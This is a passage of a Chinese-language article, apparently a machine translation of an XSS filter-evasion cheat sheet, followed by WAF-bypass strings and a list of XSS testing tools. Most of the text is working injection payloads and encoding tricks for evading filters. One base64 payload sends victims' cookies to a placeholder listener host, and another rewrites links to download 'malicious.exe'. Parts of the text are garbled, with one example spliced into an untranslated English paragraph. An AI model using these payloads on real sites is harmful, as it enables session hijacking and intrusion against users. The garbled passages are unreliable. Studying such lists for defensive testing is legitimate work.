如果路徑包含一個(gè)前導(dǎo)正斜杠,如“/images/image.jpg”,則可以從該向量中刪除一個(gè)斜杠(只要有兩個(gè)斜杠開(kāi)始注釋,則此操作有效)

<BASE HREF="javascript:alert('XSS');//">

OBJECT tag:

如果它們?cè)试S對(duì)象,您還可以注入病毒有效負(fù)載以感染用戶等,與APPLET標(biāo)記相同)。鏈接文件實(shí)際上是一個(gè)HTML文件,可以包含您的XSS.

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

使用嵌入標(biāo)記可以嵌入包含xss的Flash電影:

單擊此處進(jìn)行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”屬性,則可以降低此風(fēng)險(xiǎn).

EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

org/xss.swf" AllowScriptAccess="always"></EMBED>

You can EMBED SVG which can contain your XSS vector:

這個(gè)例子只適用于Firefox,但它比Firefox中的上述向量要好,因?yàn)樗恍枰脩舸蜷_(kāi)或安裝Flash。

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm0yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

在flash中使用ActionScript會(huì)混淆XSS向量:

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

帶有CDATA混淆的XML數(shù)據(jù):

此XSS攻擊僅在IE渲染引擎模式下的IE和Netscape 8.1中有效.

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

使用XML數(shù)據(jù)島生成的嵌入JavaScript的本地托管XML:

這與上面的相同,但引用的是包含跨站點(diǎn)腳本向量的本地托管(必須位于同一服務(wù)器上)XML文件。

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME in XML:

這只適用于IE呈現(xiàn)引擎模式下的Internet Explorer和Netscape 8.1,請(qǐng)記住,您需要介于HTML和正文標(biāo)記之間才能工作.

<HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

假設(shè)您只能容納幾個(gè)字符,并且它會(huì)過(guò)濾“.js”:

您可以將JavaScript文件重命名為圖像作為XSS向量.

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

SSI (Server Side Includes):

這需要在服務(wù)器上安裝SSI才能使用此XSS向量。我可能不需要提及這一點(diǎn),但如果您可以在服務(wù)器上運(yùn)行命令,無(wú)疑會(huì)出現(xiàn)更嚴(yán)重的問(wèn)題.

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->

PHP:

需要在服務(wù)器上安裝PHP才能使用此XSS向量。同樣,如果你能像這樣遠(yuǎn)程運(yùn)行任何腳本,可能會(huì)有更可怕的問(wèn)題.

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

IMG Embedded commands:

當(dāng)插入此內(nèi)容的網(wǎng)頁(yè)(如網(wǎng)頁(yè)板)位于密碼保護(hù)之后,并且密碼保護(hù)與同一域上的其他命令一起工作時(shí),此操作有效。

這可用于刪除用戶、添加用戶(如果訪問(wèn)該頁(yè)的用戶是管理員)、將憑據(jù)發(fā)送到其他位置等。。。。這是使用較少但更有用的XSS向量之一.

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

IMG Embedded commands part II:

這更可怕,因?yàn)槌怂辉谀约旱挠蛑兄?,沒(méi)有任何標(biāo)識(shí)使它看起來(lái)可疑。

向量使用302或304(其他也可以)將圖像重定向回命令。

因此,一個(gè)普通的<IMG SRC=“httx://badguy.com/a.jpg”>實(shí)際上可能是一個(gè)攻擊向量,作為查看圖像鏈接的用戶運(yùn)行命令。

下面是.htaccess(在Apache下)行來(lái)完成向量.

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie 篡改:

不可否認(rèn),這是相當(dāng)模糊的,但我看到了幾個(gè)例子,其中<META是允許的,您可以使用它覆蓋cookies。

還有其他一些站點(diǎn)的例子,其中存儲(chǔ)在cookie中的用戶名不是從數(shù)據(jù)庫(kù)中獲取的,而是只顯示給訪問(wèn)頁(yè)面的用戶。

結(jié)合這兩個(gè)場(chǎng)景,您可以修改受害者的cookie,該cookie將以JavaScript的形式顯示給他們

(您還可以使用它來(lái)注銷或更改他們的用戶狀態(tài),讓他們以您的身份登錄,等等)。

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7 encoding:

如果XSS所在的頁(yè)面沒(méi)有提供頁(yè)面字符集頭,或者任何設(shè)置為UTF-7編碼的瀏覽器都可以使用以下內(nèi)容。

單擊此處獲取示例(如果用戶的瀏覽器設(shè)置為“自動(dòng)檢測(cè)”,并且在Internet Explorer和IE呈現(xiàn)引擎模式下的Netscape 8.1中沒(méi)有覆蓋頁(yè)面上的內(nèi)容類型,則不需要charset語(yǔ)句)。

這在任何現(xiàn)代瀏覽器中都無(wú)法工作,除非更改編碼類型,這就是為什么將其標(biāo)記為完全不受支持的原因。Watchfire在Google的自定義404腳本中發(fā)現(xiàn)了這個(gè)漏洞

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

使用HTML引號(hào)封裝的XSS:

這是IE測(cè)試的,你的里程數(shù)可能會(huì)有所不同。對(duì)于允許“<SCRIPT>”但不允許“<SCRIPT SRC…”通過(guò)regex過(guò)濾器“/<SCRIPT[^>]+SRC/i”的站點(diǎn)執(zhí)行XSS。

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

用于在允許“<SCRIPT>”但不允許“<SCRIPT src…”的站點(diǎn)上

通過(guò)regex過(guò)濾器“/<SCRIPT”((\s+\w+(\s*=\s*)(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

還有另一個(gè)xs要避開(kāi)同一個(gè)過(guò)濾器,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“。

我知道我說(shuō)過(guò)我不打算討論緩解技術(shù),但是如果您仍然希望允許<SCRIPT>標(biāo)記,而不是遠(yuǎn)程腳本,

那么對(duì)于這個(gè)XSS示例,我看到的唯一有用的東西是一個(gè)狀態(tài)機(jī)(當(dāng)然,如果允許<SCRIPT>標(biāo)記,還有其他方法可以繞過(guò)這個(gè)問(wèn)題).

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

最后一次XSS攻擊是為了躲避,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“使用重音符(同樣,在Firefox中不起作用).

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

下面是一個(gè)XSS示例,它打賭regex不會(huì)捕獲匹配的一對(duì)引號(hào),而是會(huì)找到任何引號(hào)來(lái)不正確地終止參數(shù)字符串.

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

這個(gè)XSS仍然讓我擔(dān)心,因?yàn)槿绻蛔柚顾谢顒?dòng)內(nèi)容,幾乎不可能停止它.

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

URL字符串規(guī)避類:

假設(shè)“http://www.google.com/”在語(yǔ)法上是不允許的.

IP versus hostname:

<A HREF="http://66.102.7.147/">XSS</A>

URL encoding

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Dword encoding:

注意:還有其他的Dword編碼變體-請(qǐng)參閱下面的IP混淆計(jì)算器以了解更多詳細(xì)信息.

<A HREF="http://1113982867/">XSS</A>

Hex encoding十六進(jìn)制:

允許的每個(gè)數(shù)字的總大小大約為240個(gè)字符,如您在第二個(gè)數(shù)字上看到的,并且由于十六進(jìn)制數(shù)字介于0和F之間,因此不需要在第三個(gè)十六進(jìn)制引號(hào)上的前導(dǎo)零).

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Octal encoding八進(jìn)制:

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Base64 encoding:

<img οnlοad="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">

Mixed encoding:

讓我們混合和匹配基本編碼,并加入一些制表符和換行符-為什么瀏覽器允許這樣做,我永遠(yuǎn)不會(huì)知道)。制表符和換行符只有在用引號(hào)封裝時(shí)才起作用。

<A HREF="h

tt p://6 6.000146.0x7.147/">XSS</A>

協(xié)議解析旁路:

(//轉(zhuǎn)換為http:/,這將保存更多的字節(jié))。當(dāng)空間也是一個(gè)問(wèn)題時(shí)(少兩個(gè)字符會(huì)有很長(zhǎng)的路要走),

這真的很方便,而且可以輕松地繞過(guò)類似regex的“(ht | f)tp(s)?“//”。

您也可以將“/”改為“\\”。但是,您確實(shí)需要保留斜杠,否則這將被解釋為相對(duì)路徑URL。

<A HREF="//www.google.com/">XSS</A>

Google "feeling lucky" part 1.:

Firefox使用Google的“感覺(jué)幸運(yùn)”功能將用戶重定向到你輸入的任何關(guān)鍵詞。

因此,如果你的可利用頁(yè)面是一些隨機(jī)關(guān)鍵字的頂部(如你在這里看到的),你可以對(duì)任何Firefox用戶使用該功能。這使用了Firefox的“keyword:”協(xié)議。

例如,您可以使用如下“keyword:XSS+RSnake”連接多個(gè)關(guān)鍵字。從2.0開(kāi)始,這不再適用于Firefox。

<A HREF="//google">XSS</A>

Google "feeling lucky" part 2:

這使用了一個(gè)看起來(lái)只適用于Firefox的非常小的技巧,因?yàn)槿绻恰案杏X(jué)幸運(yùn)”功能的實(shí)現(xiàn)。

與下一個(gè)不同,這在Opera中不起作用,因?yàn)镺pera認(rèn)為這是舊的HTTP基本身份驗(yàn)證仿冒攻擊,而不是。這只是一個(gè)格式錯(cuò)誤的URL。

如果你點(diǎn)擊對(duì)話框上的OK,它將工作,但由于錯(cuò)誤的對(duì)話框,我是說(shuō)Opera不支持此功能,并且從2.0開(kāi)始Firefox不再支持此功能。

<A HREF="http://ha.ckers.org@google">XSS</A>

Google "feeling lucky" part 3:

這使用了一個(gè)格式錯(cuò)誤的URL,似乎只在Firefox和Opera中有效,因?yàn)槿绻鼈儗?shí)現(xiàn)了“感覺(jué)幸運(yùn)”功能。

像上面所有的這些一樣,它要求你在Google中的關(guān)鍵字是1(在本例中是“Google”)。

<A HREF="http://google:ha.ckers.org">XSS</A>

Removing cnames:

當(dāng)與上述URL結(jié)合使用時(shí),刪除“www.”將為正確設(shè)置此設(shè)置的服務(wù)器節(jié)省額外的4個(gè)字節(jié),總共節(jié)省9個(gè)字節(jié)。

<A HREF="http://google.com/">XSS</A>

絕對(duì)DNS的額外點(diǎn):

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location:

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

內(nèi)容替換為攻擊向量:

假設(shè)“http://www.google.com/”以編程方式替換為空)。

實(shí)際上,我使用了一個(gè)類似的攻擊向量來(lái)攻擊幾個(gè)獨(dú)立的真實(shí)世界XSS過(guò)濾器,

方法是使用轉(zhuǎn)換過(guò)濾器本身(這里是一個(gè)示例)來(lái)幫助創(chuàng)建攻擊向量

(即:“java&#x09;script:”被轉(zhuǎn)換為“java script:”,它在IE、Netscape 8.1+中以安全站點(diǎn)模式和Opera呈現(xiàn))。

<A HREF="http://www.google.com/ogle.com/">XSS</A>

字符轉(zhuǎn)義序列:

HTML和JavaScript中字符“<”的所有可能組合。其中大多數(shù)不會(huì)在框外渲染,但其中許多可以在上述特定情況下渲染。

<

%3C

&amplt

&amplt;

&ampLT

&ampLT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&amp#60;

&amp#060;

&amp#0060;

&amp#00060;

&amp#000060;

&amp#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&amp#x3c;

&amp#x03c;

&amp#x003c;

&amp#x0003c;

&amp#x00003c;

&amp#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&amp#X3c;

&amp#X03c;

&amp#X003c;

&amp#X0003c;

&amp#X00003c;

&amp#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&amp#x3C;

&amp#x03C;

&amp#x003C;

&amp#x0003C;

&amp#x00003C;

&amp#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&amp#X3C;

&amp#X03C;

&amp#X003C;

&amp#X0003C;

&amp#X00003C;

&amp#X000003C;

\x3c

\x3C

\u003c

\u003C

繞過(guò)WAF的方法-跨站點(diǎn)腳本:

General issues

Stored XSS:

如果攻擊者設(shè)法推動(dòng)XSS通過(guò)過(guò)濾器,WAF將無(wú)法阻止攻擊的傳導(dǎo)。在Javascript中反映XSS.

Example:

<script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

Exploitation: /?xss=500); alert(document.cookie);//

DOM-based XSS:

Example:

<script> ... eval($_GET[xss]); ... </script>

Exploitation: /?xss=document.cookie

XSS via request Redirection:

通過(guò)請(qǐng)求重定向的XSS。

易受攻擊的代碼.

...

header('Location: '.$_GET['param']);

...

As well as:

...

header('Refresh: 0; URL='.$_GET['param']);

...

This request will not pass through the WAF:

/?param=javascript:alert(document.cookie)

This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

WAF ByPass Strings for XSS:

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" οnmοuseοver="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" οnerrοr="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 οnerrοr=alert(XSS)>

<img src=x:alert(alt) οnerrοr=eval(src) alt=0>

<img src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg οnlοad=alert(1)>">

<meta content="&ampNewLine; 1 &ampNewLine;; JAVASCRIPT&ampcolon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&ampcolon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&ampcolon;alert&amplpar;document&ampperiod;location&amprpar;>

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&ampcolon;prompt(1)"/%00*/οnerrοr='eval(src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style>

On Mouse Over

<img src="/" =_=" title="οnerrοr='prompt(1)'">

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<script x> alert(1) </script 1=2

<form><button formaction=javascript&ampcolon;alert(1)>CLICKME

<input/οnmοuseοver="javaSCRIPT&ampcolon;confirm&amplpar;1&amprpar;"

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

<OBJECT CLASSID="clsid:333C7BC5-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

過(guò)濾器旁路警報(bào)混,Filter bypass alarm confusion:

(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘a(chǎn)l\145rt’](1)

top[‘a(chǎn)l\x65rt’](1)

top[8680439..toString(30)](1)

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

應(yīng)用程序檢測(cè)和糾正無(wú)效輸入的方法是防止XSS的另一個(gè)主要弱點(diǎn)。黑名單可能不包括所有可能的攻擊字符串,白名單可能過(guò)于寬容,清理可能失敗,或者某種類型的輸入可能被錯(cuò)誤地信任并保持未清理狀態(tài)。

工具類:

  • OWASP CAL9000

CAL9000是Web應(yīng)用程序安全性測(cè)試工具的合集,可補(bǔ)充當(dāng)前Web代理和自動(dòng)掃描程序的功能集。它作為參考托管在https://1337.yehg.net/CAL9000/上。

  • PHP字符集編碼器(PCE) - http://h5k.in/encoding [鏡:http://yehg.net/e ]

此工具可幫助您在65種字符集之間對(duì)任意文本進(jìn)行編碼。還提供了JavaScript提供的一些編碼功能。

  • HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

它為高級(jí)字符串操作攻擊提供了數(shù)十種靈活的編碼。

      OWASP WebScar

WebScarab是一個(gè)框架,用于分析使用HTTP和HTTPS協(xié)議進(jìn)行通信的應(yīng)用程序。

  • XSS-代理 - http://xss-proxy.sourceforge.net/

XSS-Proxy是高級(jí)的跨站點(diǎn)腳本(XSS)攻擊工具。

  • ratproxy - http://code.google.com/p/ratproxy/

一種半自動(dòng)化的,很大程度上是被動(dòng)的Web應(yīng)用程序安全審核工具,基于對(duì)復(fù)雜Web 2.0環(huán)境中現(xiàn)有的用戶發(fā)起的流量的觀察,已針對(duì)潛在問(wèn)題和與安全相關(guān)的設(shè)計(jì)模式進(jìn)行了精確,靈敏的檢測(cè)和自動(dòng)注釋,并進(jìn)行了優(yōu)化。

  • 代理http : //portswigger.net/proxy/

Burp代理是用于攻擊和測(cè)試Web應(yīng)用程序的交互式HTTP/S代理服務(wù)器。

  • OWASP Zed的攻擊代理(ZAP) - OWASP_Zed_Attack_Proxy_Project

ZAP是易于使用的集成滲透測(cè)試工具,用于發(fā)現(xiàn)Web應(yīng)用程序中的漏洞。它被設(shè)計(jì)為具有廣泛的安全經(jīng)驗(yàn)的人使用,因此,它是滲透測(cè)試新手的開(kāi)發(fā)人員和功能測(cè)試人員的理想選擇。ZAP提供了自動(dòng)掃描程序以及一系列工具,可讓您手動(dòng)查找安全漏洞。

  • OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework

OWASP Xenotix XSS漏洞利用框架是一個(gè)高級(jí)的跨站點(diǎn)腳本(XSS)漏洞檢測(cè)和利用框架。它通過(guò)其獨(dú)特的三重瀏覽器引擎(Trident,WebKit和Gecko)嵌入式掃描儀提供零誤報(bào)掃描結(jié)果。據(jù)稱,它具有約1600多個(gè)獨(dú)特的XSS有效負(fù)載的全球第二大XSS有效負(fù)載,可有效地檢測(cè)XSS漏洞和WAF繞過(guò)。Xenotix腳本引擎允許您通過(guò)Xenotix API創(chuàng)建自定義測(cè)試用例和附加組件。它與功能豐富的信息收集模塊結(jié)合在一起,可用于目標(biāo)偵察。漏洞利用框架包括用于滲透測(cè)試和概念驗(yàn)證創(chuàng)建的令人討厭的XSS漏洞利用模塊。

看完上述內(nèi)容,你們對(duì)如何繞過(guò)XSS的防護(hù)有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

xss
AI